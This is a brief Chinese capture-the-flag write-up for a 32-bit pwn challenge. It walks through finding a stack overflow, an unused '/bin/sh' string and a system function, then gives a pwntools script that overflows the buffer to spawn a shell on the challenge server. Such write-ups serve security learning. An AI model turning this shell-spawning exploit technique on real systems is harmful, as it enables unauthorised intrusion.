题目截图
检查文件信息,开启了NX
用IDA打开查看字符串,存在/bin/sh,检查交叉引用发现并没有被使用
查看函数表存在system函数
进入主函数反汇编查看
进入函数vulnerable_function()查看,发现存在栈溢出漏洞,就可以利用现有system函数和/bin/sh字符串getshell
exp
from pwn import*
r=remote('node4.buuoj.cn',28083)
str_bin_sh=0x804a024
call_system=0x804849E
payload=b'a'*(0x88+4)+p32(call_system)+p32(str_bin_sh)
r.sendlineafter(b'\n',payload)
r.interactive() #开启交互